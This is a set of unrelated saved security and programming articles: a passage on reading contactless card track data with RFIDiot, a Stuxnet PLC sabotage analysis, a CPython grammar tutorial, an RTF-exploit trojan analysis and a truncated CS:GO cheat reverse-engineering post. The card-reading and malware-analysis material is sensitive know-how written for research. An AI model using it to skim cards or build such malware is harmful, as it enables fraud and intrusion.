     %B5XXXXXXXXXXXXXX2^SUPPLIED/NOT^1103502000000001000000637291901?;5XXXXXXXXXXXXXX2=11035020000072029191?I  
    
[/code]

  

## OmniKey CardMan 5321 Config

If you want to be a little more conventional, you can use a standard, off the
shelf RFID reader, like the OmniKey CardMan 5321.  
  

### BackTrack Setup

In BackTrack 5, you'll have to manually install the drivers to make it all
work. I explained the process here but the post needs a little updating:  
  

  1. As of today, you can download the HID driver from http://www.hidglobal.com/drivers/omnikey/ifdokrfid\_lnx\_i686-2.9.1.tar.gz. If they ever update it again, you'll have to go here and select the appropriate drop downs.
  2. It looks like the script in the post got a little messed up by the code formatter i used. I made it directly downloadable from http://www.opensecurityresearch.com/files/cardman\_fix.sh

### Mac OSX 10.7.3 Setup

Making it all work on Mac OS X 10.7.3 can be a bit of a pain to figure out,
but I should have most of the difficulties worked out here. First off, you'll
need to install Python 2.6, and the Crypto modules.  

[code]

     sudo port install python26 py26-crypto  
    
[/code]

Next select and download the Mac OSX drivers from HID. Initially, the driver
version that was available to download was
ifdokrfid\_mac\_10.6\_i386-2.4.0.1.pkg, which didn't work with 10.7.3. I had
to modify the installer so that it worked for 10.7:  

[code]

     vi ifdokrfid_mac_10.6_i386-2.4.0.1.pkg/Contents/Resources/InstallationCheck   
    
[/code]

and change line 31 from this:  

[code]

     if [ ${MACOS_VER_MAJOR} -ne 10 -o ${MACOS_VER_MINOR} -ne 6 ]; then   
    
[/code]

to this:  

[code]

     if [ ${MACOS_VER_MAJOR} -ne 10 -o ${MACOS_VER_MINOR} -ne 7 ]; then  
    
[/code]

then everything should install fine.  
  
As it turns out, HID has since released a newer version of the driver that
"just works" \(ifdokrfid\_mac\_universal-2.5.0.2.pkg\). I did notice some
problems with connecting the reader before running pcscd, so keep that in
mind.  
  
You can just launch pcscd from the command line:  

[code]

     sudo pcscd  
    
[/code]

If something isn't working, you can enable debugging and tell it to run in the
foreground with:  

[code]

     sudo pcscd -f -d
    
[/code]

With the driver installed, pcscd running, and the reader connected, you can
use RFIDiot to check if the reader was properly detected:  

[code]

     RFIDIOt-1.0a user$ python2.6 cardselect.py -L  
     PCSC devices:  
     No: 0 OMNIKEY CardMan 5x21 00 00  
     No: 1 OMNIKEY CardMan 5x21 00 01  
    
[/code]

## TouchaTag \(ACR122U\) Reader Config

  
The Touchatag reader is another commercial off the shelf reader like the
Omnikey Cardman 5321. It's popular because of its libNFC support, however with
the tasks we're doing using RFIDiot, it doesn't really matter. I'm providing
configuration information here for diversity. Once you connect the reader to
your system, you'll likely notice its light seems to blink rather then staying
lit. To fix this, it will require a quick little driver configuration change:  

[code]

     sudo vi /usr/libexec/SmartCardServices/drivers/ifd-acsccid.bundle/Contents/Info.plist  
    
[/code]

On line 53 \(under ifdDriverOptions\) change  

[code]

          <string>0x00C0</string>    
    
[/code]

to this:  

[code]

          <string>0x0005</string>  
    
[/code]

Then to make sure its working properly:  

[code]

     ~ user$ nfc-list   
     nfc-list use libnfc 1.4.0 (r833)  
     Connected to NFC device: ACS ACR38U-CCID 00 00 / ACR122U102 - PN532 v1.4 (0x07)  
    
[/code]

Once that's all set up, just start pcscd if its not already running:  

[code]

     sudo pcscd  
    
[/code]

and then check RFIDiot's cardselect.py:  

[code]

     RFIDIOt-1.0a user$ python2.6 cardselect.py -L  
     PCSC devices:  
       No: 0          ACS ACR38U-CCID 00 00  
    
[/code]

  

## Using RFIDiot to Read Card Data

In most situations, RFIDiot's ChAP.py should be able to query the card's data.
On an RFID level, the card is first queried with a generic "tell me your file
structure" method, and if the card doesn't respond, the reader sends requests
for specific application ID's \(AIDs\) that are known structures for different
vendors \(Mastercard, Visa, etc...\). In the rare case that ChAP.py doesn't
work well, you may have to define your own specific AID in ChAP.py or write
your own parser like I did for the Chase Visa PayPass cards.  
  
By default ChAP.py will attempt to parse the data from the card and translate
it so we can make sense out of each byte. Instead, I'll tell ChAP.py not do
that and just display the raw data \(-r\).  

[code]

     RFIDIOt-1.0a user$ python2.6 ChAP.py -r  
     insert a card within 10s  
      Found AID: MASTERCARD - a0 00 00 00 04 10 10  
     6f 17 84 07 a0 00 00 00 04 10 10 a5 0c 50 0a 4d 61 73 74 65 72 43 61 72 64  
     o............P.MasterCard  
      Processing Options: 77 0a 82 02 00 00 94 04 08 01 01 00  
     w...........  
       SFI 01: starting record 01, ending record 01; 00 offline data authentication records  
        record 01: 70 81 90 9f 6c 02 00 01 9f 62 06 00 00 00 00 01 c0 9f 63 06 00 00 00 00 00 3c 56 3e 42 35 34 36 35 30 33 32 30 36 38 39 39 38 30 31 32 5e 53 55 50 50 4c 49 45 44 2f 4e 4f 54 5e 31 31 30 33 35 30 32 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 9f 64 01 03 9f 65 02 00 e0 9f 66 02 00 1e 9f 6b 13 5X XX XX XX XX XX X2 d1 10 35 02 00 00 00 00 00 00 0f 9f 67 01 03 9f 68 0e 00 00 00 00 00 00 00 00 5e 03 42 03 1f 03  
     p...l....b........c......<V>B5XXXXXXXXXXXXXX2^SUPPLIED/NOT^1103502000000001000000000000000.d...e....f....k.Te. h.....5.........g...h.........^.B...  
    
[/code]

An important thing to note here is the ChAP.py isn't pulling the track two
data by default.  
  
  

## RFID vs MagStripe

Lets look at the differences between the raw data obtained from the RFID
interface with the VivoPay and that from the MagStripe. Here's the VivoPay
data:  

[code]

     %B5XXXXXXXXXXXXXX2^SUPPLIED/NOT^1103502000000001000000637291901?;5XXXXXXXXXXXXXX2=11035020000072029191?I  
    
[/code]

  
The following table breaks out the raw data from the magstripe and RFID
interface to make it a little easier when comparing the two.  
  
Track 1 Data  
---  
MagStripe| RFID| Value  
%| %| Start  
B| B| Format Code \(B=Bank\)  
5XXXXXXXXXXXXXX2| 5XXXXXXXXXXXXXX2| Primary Account Number \(PAN\)  
^| ^| Separator  
ANTONIEWICZ| SUPPLIED| Last Name  
/| /| Name Separator  
BRAD| NOT| First Name  
^| ^| Separator  
11| 11| Expiration Year  
03| 03| Expiration Month  
101| 502| Service Code  
000000001000000003000000| 000000001000000637291901| Discretionary Data  
?| ? | End  
Track 2 Data  
;| ;| Start Track 2 Data  
5XXXXXXXXXXXXXX2| 5XXXXXXXXXXXXXX2| Primary Account Number \(PAN\)  
=| =| Separator  
11| 11| Expiration Year  
03| 03| Expiration Month  
101| 502| Service Code  
000000300001| 0000072029191| Discretionary Data  
?| ?| End  
N/A| I| Trailing Data \(Unknown\)  
  
  
**Service Code** \- One interesting thing to note is the Service code differs.
According to ISO/IEC 7813:2006\(E\), page 6, the service codes break down to:  
  

<img src='img/Temp2_5833.jpg' width='400' height='256' />

  

  * 101 - Can be used **internationally** with normal authorization, for **any goods** , with **no PIN requirements**
  * 502 - Can be used **nationally** with normal authorization, for **goods and services** with **no PIN requirements**

  
So there are clearly some restrictions for where and how you can use the card.  
  
You'll notice that the discretionary data on both track 1 and track 2 differ
from that of the magstripe. Although the contents of the data stored within
the discretionary data field are particular to the card manufacturer, we know
that in here is where the CVV is stored. On the magstripe, CVV1 is used, while
the RFID interface uses iCVV or Dynamic CVV.  
  
Look what happens if we query the RFID interface a couple more times:  

[code]

     %B5XXXXXXXXXXXXXX2^SUPPLIED/NOT^1103502000000001000000294292801?;5XXXXXXXXXXXXXX2=11035020000018129281?E  
     %B5XXXXXXXXXXXXXX2^SUPPLIED/NOT^1103502000000001000000939293101?;5XXXXXXXXXXXXXX2=11035020000054629311?;?  
     %B5XXXXXXXXXXXXXX2^SUPPLIED/NOT^1103502000000001000000191297701?;5XXXXXXXXXXXXXX2=11035020000099829771???  
    
[/code]

You'll notice that the discretionary data changes on both tracks. That's the
"dynamic" part of dynamic CVV.  
  
Kristen Paget just gave a talk a Shmoocon and said that "check digits" \(I
believe the dynamic CVV is the only check that this applies to\) can only be
used once and if it is used a second time, the card is immediately frozen and
the RFID chip can no longer be used.  
  
Overall, there isn't much explanation of exactly how the iCVV or the dynamic
CVV is actually generated, so if feel free to use the comments below to let me
know what you know\!  
  
Here are some more useful links about the different CVVs and how they're
generated:  

  * http://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-711.pdf \[PDF\]
  * http://answers.google.com/answers/threadview/id/402632.html
  * iCVV Patent Application? - http://www.google.com/patents/US7922082 

# Stuxnet: A Breakthrough | Symantec Connect
**Created:**| _11/13/2010 4:07:37 PM_  
---|---  
**Updated:**| _11/13/2010 4:22:27 PM_  
**Author:**| __  
**Tags:**| _analysis Malware-analysis awesome_  
  

#  

Thanks to some tips from a Dutch Profibus expert who responded our call for
help, we’ve connected a critical piece of the puzzle.

  

Since our discovery that Stuxnet actually modifies code on PLCs in a potential
act of sabotage, we have been unable to determine what the exact purpose of
Stuxnet is and what its target was.

However, we can now confirm that Stuxnet requires the industrial control
system to have frequency converter drives from at least one of two specific
vendors, one headquartered in Finland and the other in Tehran, Iran. This is
in addition to the previous requirements we discussed of a S7-300 CPU and a
CP-342-5 Profibus communications module.

The target system would potentially look something like the diagram below:

<img src='img/Temp2_7784.jpg' />

A frequency converter drive is a power supply that can change the frequency of
the output, which controls the speed of a motor. The higher the frequency, the
higher the speed of the motor.

The new key findings are:

  * We are now able to describe the purpose of all of Stuxnet’s code.
  * Stuxnet requires particular frequency converter drives from specific vendors, some of which may not be procurable in certain countries.
  * Stuxnet requires the frequency converter drives to be operating at very high speeds, between 807 Hz and 1210 Hz. While frequency converter drives are used in many industrial control applications, these speeds are used only in a limited number of applications.
  * Stuxnet changes the output frequencies and thus the speed of the motors for short intervals over periods of months. Interfering with the speed of the motors sabotages the normal operation of the industrial control process.
  * Stuxnet’s requirement for particular frequency converter drives and operating characteristics focuses the number of possible speculated targets to a limited set of possibilities.

Stuxnet monitors the current operating frequency of these motors, which must
be between 807 Hz and 1210 Hz, before Stuxnet modifies their behavior.
Relative to the typical uses of frequency converter drives, these frequencies
are considered very high-speed and now limit the potential speculated targets
of Stuxnet. We are not experts in industrial control systems and do not know
all the possible applications at these speeds, but for example, a conveyor
belt in a retail packaging facility is unlikely to be the target. Also,
efficient low-harmonic frequency converter drives that output over 600Hz are
regulated for export in the United States by the Nuclear Regulatory Commission
as they can be used for uranium enrichment. We would be interested in hearing
what other applications use frequency converter drives at these frequencies.

Once operation at those frequencies occurs for a period of time, Stuxnet then
hijacks the PLC code and begins modifying the behavior of the frequency
converter drives. In addition to other parameters, over a period of months,
Stuxnet changes the output frequency for short periods of time to 1410Hz and
then to 2Hz and then to 1064Hz. Modification of the output frequency
essentially sabotages the automation system from operating properly. Other
parameter changes may also cause unexpected effects.

With this discovery, we now understand the purpose of all of Stuxnet’s code.
We’ve modified our paper, in particular multiple subsections of the Modifying
PLCs section, to include the finer details. Since we are far from experts in
industrial control systems, we appreciate any feedback or further tips or
explanation of some of the data. You can click on my name at the top of the
blog post to get in touch.

We’d like to sincerely thank the Dutch Profibus expert who got in touch,
serving as the catalyst to this breakthrough in understanding the purpose and
potential targets of Stuxnet.

Here is the link to the updated paper.

Also, last month we presented how Stuxnet hijacks PLCs at the Virus Bulletin
conference. As part of that presentation, we performed a live demonstration.
Because we couldn’t afford to purchase a gas refinery or waste management
system, we had to settle for balloons. We’ve created a video of the
demonstration, which you can watch below.

# Eli Bendersky's website » Blog Archive » Python internals: adding a new
statement to Python

**Created:**| _9/8/2011 11:37:05 PM_  
---|---  
**Updated:**| _9/8/2011 11:43:06 PM_  
**Author:**| __  
**Tags:**| _python programming meta-programming_  
  

## Python internals: adding a new statement to Python

June 30th, 2010 at 7:18 pm

This article is an attempt to better understand how the front-end of Python
works. Just reading documentation and source code may be a bit boring, so I’m
taking a hands-on approach here: I’m going to add an `until` statement to
Python.

All the coding for this article was done against the cutting-edge Py3k branch
in the Python Mercurial repository mirror.

### The `until` statement

Some languages, like Ruby, have an `until` statement, which is the complement
to `while` \(`until num == 0` is equivalent to `while num != 0`\). In Ruby, I
can write:

[code]

    num = 3
    until num == 0 do
      puts num
      num -= 1
    end
    
[/code]

And it will print:

[code]

    3
    2
    1
    
[/code]

So, I want to add a similar capability to Python. That is, being able to
write:

[code]

    num = 3
    until num == 0:
      print(num)
      num -= 1
    
[/code]

### A language-advocacy digression

This article doesn’t attempt to suggest the addition of an `until` statement
to Python. Although I think such a statement would make some code clearer, and
this article displays how easy it is to add, I completely respect Python’s
philosophy of minimalism. All I’m trying to do here, really, is gain some
insight into the inner workings of Python.

### Modifying the grammar

Python uses a custom parser generator named `pgen`. This is a LL\(1\) parser
that converts Python source code into a parse tree. The input to the parser
generator is the file `Grammar/Grammar` \[1\]. This is a simple text file that
specifies the grammar of Python.

Two modifications have to be made to the grammar file. The first is to add a
definition for the `until` statement. I found where the `while` statement was
defined \(`while_stmt`\), and added `until_stmt` below \[2\]:

[code]

    compound_stmt: if_stmt | while_stmt | until_stmt | for_stmt | try_stmt | with_stmt | funcdef | classdef | decorated
    if_stmt: 'if' test ':' suite ('elif' test ':' suite)* ['else' ':' suite]
    while_stmt: 'while' test ':' suite ['else' ':' suite]
    until_stmt: 'until' test ':' suite
    
[/code]

Note that I’ve decided to exclude the `else` clause from my definition of
`until`, just to make it a little bit different \(and because frankly I
dislike the `else` clause of loops and don’t think it fits well with the Zen
of Python\).

The second change is to modify the rule for `compound_stmt` to include
`until_stmt`, as you can see in the snippet above. It’s right after
`while_stmt`, again.

When you run `make` after modifying `Grammar/Grammar`, notice that the `pgen`
program is run to re-generate `Include/graminit.h` and `Python/graminit.c`,
and then several files get re-compiled.

### Modifying the AST generation code

After the Python parser has created a parse tree, this tree is converted into
an AST, since ASTs are much simpler to work with in subsequent stages of the
compilation process.

So, we’re going to visit `Parser/Python.asdl` which defines the structure of
Python’s ASTs and add an AST node for our new `until` statement, again right
below the `while`:

[code]

    | While(expr test, stmt* body, stmt* orelse)
    | Until(expr test, stmt* body)
    
[/code]

If you now run `make`, notice that before compiling a bunch of files,
`Parser/asdl_c.py` is run to generate C code from the AST definition file.
This \(like `Grammar/Grammar`\) is another example of the Python source-code
using a mini-language \(in other words, a DSL\) to simplify programming. Also
note that since `Parser/asdl_c.py` is a Python script, this is a kind of
bootstrapping – to build Python from scratch, Python already has to be
available.

While `Parser/asdl_c.py` generated the code to manage our newly defined AST
node \(into the files `Include/Python-ast.h` and `Python/Python-ast.c`\), we
still have to write the code that converts a relevant parse-tree node into it
by hand. This is done in the file `Python/ast.c`. There, a function named
`ast_for_stmt` converts parse tree nodes for statements into AST nodes. Again,
guided by our old friend `while`, we jump right into the big `switch` for
handling compound statements and add a clause for `until_stmt`:

[code]

    case while_stmt:
        return ast_for_while_stmt(c, ch);
    case until_stmt:
        return ast_for_until_stmt(c, ch);
    
[/code]

Now we should implement `ast_for_until_stmt`. Here it is:

[code]

    static stmt_ty
    ast_for_until_stmt(struct compiling *c, const node *n)
    {
        /* until_stmt: 'until' test ':' suite */
        REQ(n, until_stmt);
    
        if (NCH(n) == 4) {
            expr_ty expression;
            asdl_seq *suite_seq;
    
            expression = ast_for_expr(c, CHILD(n, 1));
            if (!expression)
                return NULL;
            suite_seq = ast_for_suite(c, CHILD(n, 3));
            if (!suite_seq)
                return NULL;
            return Until(expression, suite_seq, LINENO(n), n->n_col_offset, c->c_arena);
        }
    
        PyErr_Format(PyExc_SystemError,
                     "wrong number of tokens for 'until' statement: %d",
                     NCH(n));
        return NULL;
    }
    
[/code]

Again, this was coded while closely looking at the equivalent
`ast_for_while_stmt`, with the difference that for `until` I’ve decided not to
support the `else` clause. As expected, the AST is created recursively, using
other AST creating functions like `ast_for_expr` for the condition expression
and `ast_for_suite` for the body of the `until` statement. Finally, a new node
named `Until` is returned.

Note that we access the parse-tree node `n` using some macros like `NCH` and
`CHILD`. These are worth understanding – their code is in `Include/node.h`.

### Digression: AST composition

I chose to create a new type of AST for the `until` statement, but actually
this isn’t necessary. I could’ve saved some work and implemented the new
functionality using composition of existing AST nodes, since:

[code]

    until condition:
       # do stuff
    
[/code]

Is functionally equivalent to:

[code]

    while not condition:
      # do stuff
    
[/code]

Instead of creating the `Until` node in `ast_for_until_stmt`, I could have
created a `Not` node with an `While` node as a child. Since the AST compiler
already knows how to handle these nodes, the next steps of the process could
be skipped.

### Compiling ASTs into bytecode

The next step is compiling the AST into Python bytecode. The compilation has
an intermediate result which is a CFG \(Control Flow Graph\), but since the
same code handles it I will ignore this detail for now and leave it for
another article.

The code we will look at next is `Python/compile.c`. Following the lead of
`while`, we find the function `compiler_visit_stmt`, which is responsible for
compiling statements into bytecode. We add a clause for `Until`:

[code]

    case While_kind:
        return compiler_while(c, s);
    case Until_kind:
        return compiler_until(c, s);
    
[/code]

If you wonder what `Until_kind` is, it’s a constant \(actually a value of the
`_stmt_kind` enumeration\) automatically generated from the AST definition
file into `Include/Python-ast.h`. Anyway, we call `compiler_until` which, of
course, still doesn’t exist. I’ll get to it an a moment.

If you’re curious like me, you’ll notice that `compiler_visit_stmt` is
peculiar. No amount of `grep`-ping the source tree reveals where it is called.
When this is the case, only one option remains – C macro-fu. Indeed, a short
investigation leads us to the `VISIT` macro defined in `Python/compile.c`:

[code]

    #define VISIT(C, TYPE, V) {\
     if (!compiler_visit_ ## TYPE((C), (V))) \
     return 0; \
    
[/code]

It’s used to invoke `compiler_visit_stmt` in `compiler_body`. Back to our
business, however…

As promised, here’s `compiler_until`:

[code]

    static int
    compiler_until(struct compiler *c, stmt_ty s)
    {
        basicblock *loop, *end, *anchor = NULL;
        int constant = expr_constant(s->v.Until.test);
    
        if (constant == 1) {
            return 1;
        }
        loop = compiler_new_block(c);
        end = compiler_new_block(c);
        if (constant == -1) {
            anchor = compiler_new_block(c);
            if (anchor == NULL)
                return 0;
        }
        if (loop == NULL || end == NULL)
            return 0;
    
        ADDOP_JREL(c, SETUP_LOOP, end);
        compiler_use_next_block(c, loop);
        if (!compiler_push_fblock(c, LOOP, loop))
            return 0;
        if (constant == -1) {
            VISIT(c, expr, s->v.Until.test);
            ADDOP_JABS(c, POP_JUMP_IF_TRUE, anchor);
        }
        VISIT_SEQ(c, stmt, s->v.Until.body);
        ADDOP_JABS(c, JUMP_ABSOLUTE, loop);
    
        if (constant == -1) {
            compiler_use_next_block(c, anchor);
            ADDOP(c, POP_BLOCK);
        }
        compiler_pop_fblock(c, LOOP, loop);
        compiler_use_next_block(c, end);
    
        return 1;
    }
    
[/code]

I have a confession to make: this code wasn’t written based on a deep
understanding of Python bytecode. Like the rest of the article, it was done in
imitation of the kin `compiler_while` function. By reading it carefully,
however, keeping in mind that the Python VM is stack-based, and glancing into
the documentation of the `dis` module, which has a list of Python bytecodes
with descriptions, it’s possible to understand what’s going on.

### That’s it, we’re done… Aren’t we?

After making all the changes and running `make`, we can run the newly compiled
Python and try our new `until` statement:

[code]

    >>> until num == 0:
    ...   print(num)
    ...   num -= 1
    ...
    3
    2
    1
    
[/code]

Voila, it works\! Let’s see the bytecode created for the new statement by
using the `dis` module as follows:

[code]

    import dis
    
    def myfoo(num):
        until num == 0:
            print(num)
            num -= 1
    
    dis.dis(myfoo)
    
[/code]

Here’s the result:

[code]

    4           0 SETUP_LOOP              36 (to 39)
          >>    3 LOAD_FAST                0 (num)
                6 LOAD_CONST               1 (0)
                9 COMPARE_OP               2 (==)
               12 POP_JUMP_IF_TRUE        38
    
    5          15 LOAD_NAME                0 (print)
               18 LOAD_FAST                0 (num)
               21 CALL_FUNCTION            1
               24 POP_TOP
    
    6          25 LOAD_FAST                0 (num)
               28 LOAD_CONST               2 (1)
               31 INPLACE_SUBTRACT
               32 STORE_FAST               0 (num)
               35 JUMP_ABSOLUTE            3
          >>   38 POP_BLOCK
          >>   39 LOAD_CONST               0 (None)
               42 RETURN_VALUE
    
[/code]

The most interesting operation is number 12: if the condition is true, we jump
to after the loop. This is correct semantics for `until`. If the jump isn’t
executed, the loop body keeps running until it jumps back to the condition at
operation 35.

Feeling good about my change, I then tried running the function \(executing
`myfoo(3)`\) instead of showing its bytecode. The result was less than
encouraging:

[code]

    Traceback (most recent call last):
      File "zy.py", line 9, in <module>
        myfoo(3)
      File "zy.py", line 5, in myfoo
        print(num)
    SystemError: no locals when loading 'print'
    
[/code]

Whoa… this can’t be good. So what went wrong?

### The case of the missing symbol table

One of the steps the Python compiler performs when compiling the AST is create
a symbol table for the code it compiles. The call to `PySymtable_Build` in
`PyAST_Compile` calls into the symbol table module \(`Python/symtable.c`\),
which walks the AST in a manner similar to the code generation functions.
Having a symbol table for each scope helps the compiler figure out some key
information, such as which variables are global and which are local to a
scope.

To fix the problem, we have to modify the `symtable_visit_stmt` function in
`Python/symtable.c`, adding code for handling `until` statements, after the
similar code for `while` statements \[3\]:

[code]

    case While_kind:
        VISIT(st, expr, s->v.While.test);
        VISIT_SEQ(st, stmt, s->v.While.body);
        if (s->v.While.orelse)
            VISIT_SEQ(st, stmt, s->v.While.orelse);
        break;
    case Until_kind:
        VISIT(st, expr, s->v.Until.test);
        VISIT_SEQ(st, stmt, s->v.Until.body);
        break;
    
[/code]

And now we really are done. Compiling the source after this change makes the
execution of `myfoo(3)` work as expected.

### Conclusion

In this article I’ve demonstrated how to add a new statement to Python. Albeit
requiring quite a bit of tinkering in the code of the Python compiler, the
change wasn’t difficult to implement, because I used a similar and existing
statement as a guideline.

The Python compiler is a sophisticated chunk of software, and I don’t claim
being an expert in it. However, I am really interested in the internals of
Python, and particularly its front-end. Therefore, I found this exercise a
very useful companion to theoretical study of the compiler’s principles and
source code. It will serve as a base for future articles that will get deeper
into the compiler.

### References

I used a few excellent references for the construction of this article. Here
they are, in no particular order:

  * PEP 339: Design of the CPython compiler – probably the most important and comprehensive piece of _official_ documentation for the Python compiler. Being very short, it painfully displays the scarcity of good documentation of the internals of Python.
  * "Python Compiler Internals" – an article by Thomas Lee
  * "Python: Design and Implementation" – a presentation by Guido van Rossum
  * Python \(2.5\) Virtual Machine, A guided tour – a presentation by Peter Tröger

<img src='img/Temp2_2561.jpg' width='202' height='10'
alt='http://eli.thegreenplace.net/wp-content/uploads/hline.jpg' />

\[1\]| From here on, references to files in the Python source are given
relatively to the root of the source tree, which is the directory where you
run `configure` and `make` to build Python.  
---|---  
\[2\]| This demonstrates a common technique I use when modifying source code
I’m not familiar with: _work by similarity_. This principle won’t solve all
your problems, but it can definitely ease the process. Since everything that
has to be done for `while` also has to be done for `until`, it serves as a
pretty good guideline.  
---|---  
\[3\]| By the way, without this code there’s a compiler warning for
`Python/symtable.c`. The compiler notices that the `Until_kind` enumeration
value isn’t handled in the switch statement of `symtable_visit_stmt` and
complains. It’s always important to check for compiler warnings\!  
---|---

# Buffer Overflow Exploit in Action - Imperva Data Security Blog

**Created:**| _4/3/2011 2:40:10 PM_  
---|---  
**Updated:**| _4/3/2011 2:40:21 PM_  
**Author:**| __  
**Tags:**| _Exploit analysis bughunting_  
  

<img src='img/Temp2_1166.png' /> Buffer Overflow Exploit in Action

4Share

  
Our ADC has a super-geek short analysis of an RTF Stack Buffer Overflow
Vulnerability which exploits http://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2010-3333.

This is a Microsoft problem where .rtf files can be exploited. It's a known
vulnerability that was used recently when hackers tried lure people to click
on files with false messages about helping Japanese earthquake victims. This
exploit spreads malware. Interestingly, the hackers evaded AV and IPS
detection.

The vulnerability is a stack-based buffer overflow in Microsoft Office XP SP3,
Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac,
Office for Mac 2011, and Open XML File Format Converter for Mac allows remote
attackers to execute arbitrary code via crafted RTF data, aka "RTF Stack
Buffer Overflow Vulnerability.By opening the .doc file with your favorite hex
editor it is possible to see at the beginning of the file the following header
stub:'rtf1\{this document is more important\!\par please keep it private.’

<img src='img/Temp2_1169.png' alt='Bo1' />  
Lets dive deeper. At offset 0x0000084E it is possible to find some clues:  
<img src='img/Temp2_1179.png' alt='Bo2' />  
Yep, the MS-DOS stub message “This program cannot be run in DOS mode” which
definitely indicates an embedded executable.Nice, but where are MZ and PE
headers? At offset 0x0000084E we can find \x00\x00 instead of \x4D\x5A
\(‘MZ’\) and at offset 0x000008E0, again, we can find \x00\x00 instead of
\x50\x45 \(‘PE’\).  
<img src='img/Temp2_1172.png' alt='Bo3' />

<img src='img/Temp2_1173.png' alt='Bo4' />  
  

The "MZ" and the "PE" are headers associated with executables. The PE sections
are created automatically by the programmer’s compiler or assembler. The
purpose of the Disk Operating System \(DOS\) MZ header is so DOS will
recognize the program. The PE header contains several fields used by the PE
loader. When a program gets executed on an OS that can process the PE file
format, the PE loader uses the DOS MZ header to find the starting offset of
the PE header \(by skipping the DOS stub\).

The main reason for not including them is for bypassing IPS / AV.

Diving deeper will reveal some more strings that indicate for an embedded
executable:

<img src='img/Temp2_1175.png' alt='Bo5' />  
OpenProcess \(Retrieves a HANDLE to the remote process\) ....VirtualAllocEx
\(Allocate memory for the DLL name in the remote process\)
....WriteProcessMemory\(Write the DLL name, including full path, to the
allocated memory\)....CreateRemoteThread \(Map your DLL to the remote
process\)....

Hmm, looks like process code injection, probably a DLL will join the party
later on. Now, let’s add the missing headers, dump the embedded exe file and
see what it does. In order to dump the exe file we must start dumping from
offset 0x00000800 to 0x00009C00 which will get us 37888 bytes of malicious
code.  
<img src='img/Temp2_1177.png' alt='Bo6' />  
  
When saving as an executable we named Trojan.exe. The Trojan.exe's general
Info:

  * MD5 : 5ABD60F270B7169685DBC9E9E66A3734SHA1
  * 2586D808938ADF8D819A238080B20C34DC0FF294CRC32
  * 0x7B7F6F91

**Trojan.exe Analysis**

Once executed the Trojan adds a copy of itself under C:\WINDOWS\system32. It
extracts cmd.exe file attributes and sets them with the new copy of the Trojan
under system32.  
  
<img src='img/Temp2_1178.png' alt='Bo7' />  
  
<img src='img/Temp2_1171.png' alt='Bo8' />  
  

  * It suspends the execution of the current thread for 100 milliseconds. \(Sleep function\).
  * By using RegCreateKeyExA function it sets the following registry path: 'SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\Athene' with the following value \[Original File path\]\Trojan.exe.

<img src='img/Temp2_1174.png' alt='Bo9' />  
  
Then the Trojan executes the local copy Trojan from the system32 folder. The
Trojan includes a resource named "TXT" which is an obfuscated DLL.  
<img src='img/Temp2_1167.png' alt='Bo10' />  
  
  
The DLL gets deobfuscated by XORing its bytes with 0xC5. The "TXT" resource is
saved as csrls.dll and the Trojan sets its timestamps to match calc.exe
timestamps.

<img src='img/Temp2_1170.png' alt='Bo11' />  
  
  
The Deobfuscation Function:  
<img src='img/Temp2_1164.png' alt='Bo12' />  
  
  
**csrls.dll Analysis**  
Let's create a copy of csrls.dll, name it as copy.dll and open it with IDA.
Check out some interesting strings:  
  
<img src='img/Temp2_1168.png' alt='Bo13' />  
  
By Googling some of the strings \(“Gabby” , “Check for file”…..\) you can find
a very interesting open source project on http://www.codeproject.com called
“Network Administrator” which was written at 2004 and shows how you can work
with a multithreading client server application and administrate computers on
a network.

http://www.codeproject.com/KB/IP/NetworkAdmin.aspx?msg=1562299

By looking at its code it is possible to notice the same above strings just in
“human readable” view:  
<img src='img/Temp2_1165.png' alt='Bo14' />  
<img src='img/Temp2_1176.png' alt='Bo15' />  
In other words, embedded is the project for getting a remote shell project\!

Be Safe.  
  

# Undefined blog title - Plug it, play it, burn it, rip it - Reverse
engineering a CS:GO cheating software

**Created:**| _7/17/2017 11:18:53 AM_  
---|---  
**Updated:**| _7/17/2017 11:18:53 AM_  
**Author:**| __  
**Tags:**| _reversing games_  
  

  

# Reverse engineering a CS:GO cheating software

 _TL;DR: Technical low-level analysis of the cheat, also including the
licensing and differences between public and private version._

CS:GO is one of the most popular competitive online games, it has 520.285
current players as I write these lines. As in any other competition-driven
game, cheaters arise, and specially in the CS community, they have become a
serious problem.

Today we are taking a look at the public and private version of a cheat for
this game\!

<img src='img/Temp2_8684.jpg' width='417' height='233' />

I won't mention the name of the cheat to avoid giving them free advertisement
and because it's not necessary for this post, but if you're into this topic,
you'll probably guess.

Before we start, it's important to mention that I managed to get a private
version build using an alternative channel 😈. This means I've never paid to
the developer, so **I didn't support their business in any way**\! Damn you,
cheaters\!

## Public vs Private version

This cheat is quite accessible, as the developer provides a public \(free\)
version with all the capabilities for the users to try. The most important
"downside", is that the public cheat is obviously detected by VAC, so if you
use it in a VAC-protected server, it's a matter of time that your account gets
VAC-banned.

Here is where the paid private version comes into play: Customers get a unique
build that is guaranteed to be undetected.

## Licensing

Each private version build of the cheat is tied to a machine, to avoid piracy,
reselling, ...

The license procedure gets the  _SystemDrive_ environment variable, and using
_DeviceIoControl_ with the parameter  _IOCTL\_DISK\_GET\_DRIVE\_GEOMETRY_ ,
reads the technical capabilities of the hard drive. Then the  _Processor Brand
String_ is also read using the _cpuid_ instruction.

This information is formatted into a string, hashed with _SHA1_ , and mutated
with a custom ASCII rotation algorithm:

[code]

    for ( i = 0; i < v16; v16 = strlen((const char *)&sha1_hex) ) {  
     v18 = *((char *)&sha1_hex + i);  
     if ( (unsigned int)(v18 - '0') > 9 )  
      *((_BYTE *)&sha1_hex + i) = v18 + 5;  
     else  
      *((_BYTE *)&sha1_hex + i) = v18 + '!';  
      ++i;  
    }
[/code]

The resulting string is your unique license, which is sent to the cheat
developer when you buy it, and in return you get a build that only works in
the computer that generated this license.

## How the cheat works

This cheat is an **external cheat** , which means all the work is done out of
the CS:GO process \(no DLL injection\).

The first thing it does is open the _csgo.exe_ process, and get the base
addresses of  _client.dll_ and _engine.dll._

Then it uses patterns to find game structures \(offsets\) in the memory, these
patterns usually match opcodes of the game binaries, where memory pointers are
referenced, or other useful information. They also use patterns to find game
functions and strings.

For example, one of the patterns is:

[code]

    89 0D ? ? ? ? 8B 0D ? ? ? ? 8B F2 8B C1 83 CE 08
[/code]

If we look for these bytes in the _client.dll_ file, we get the following hit:

[code]

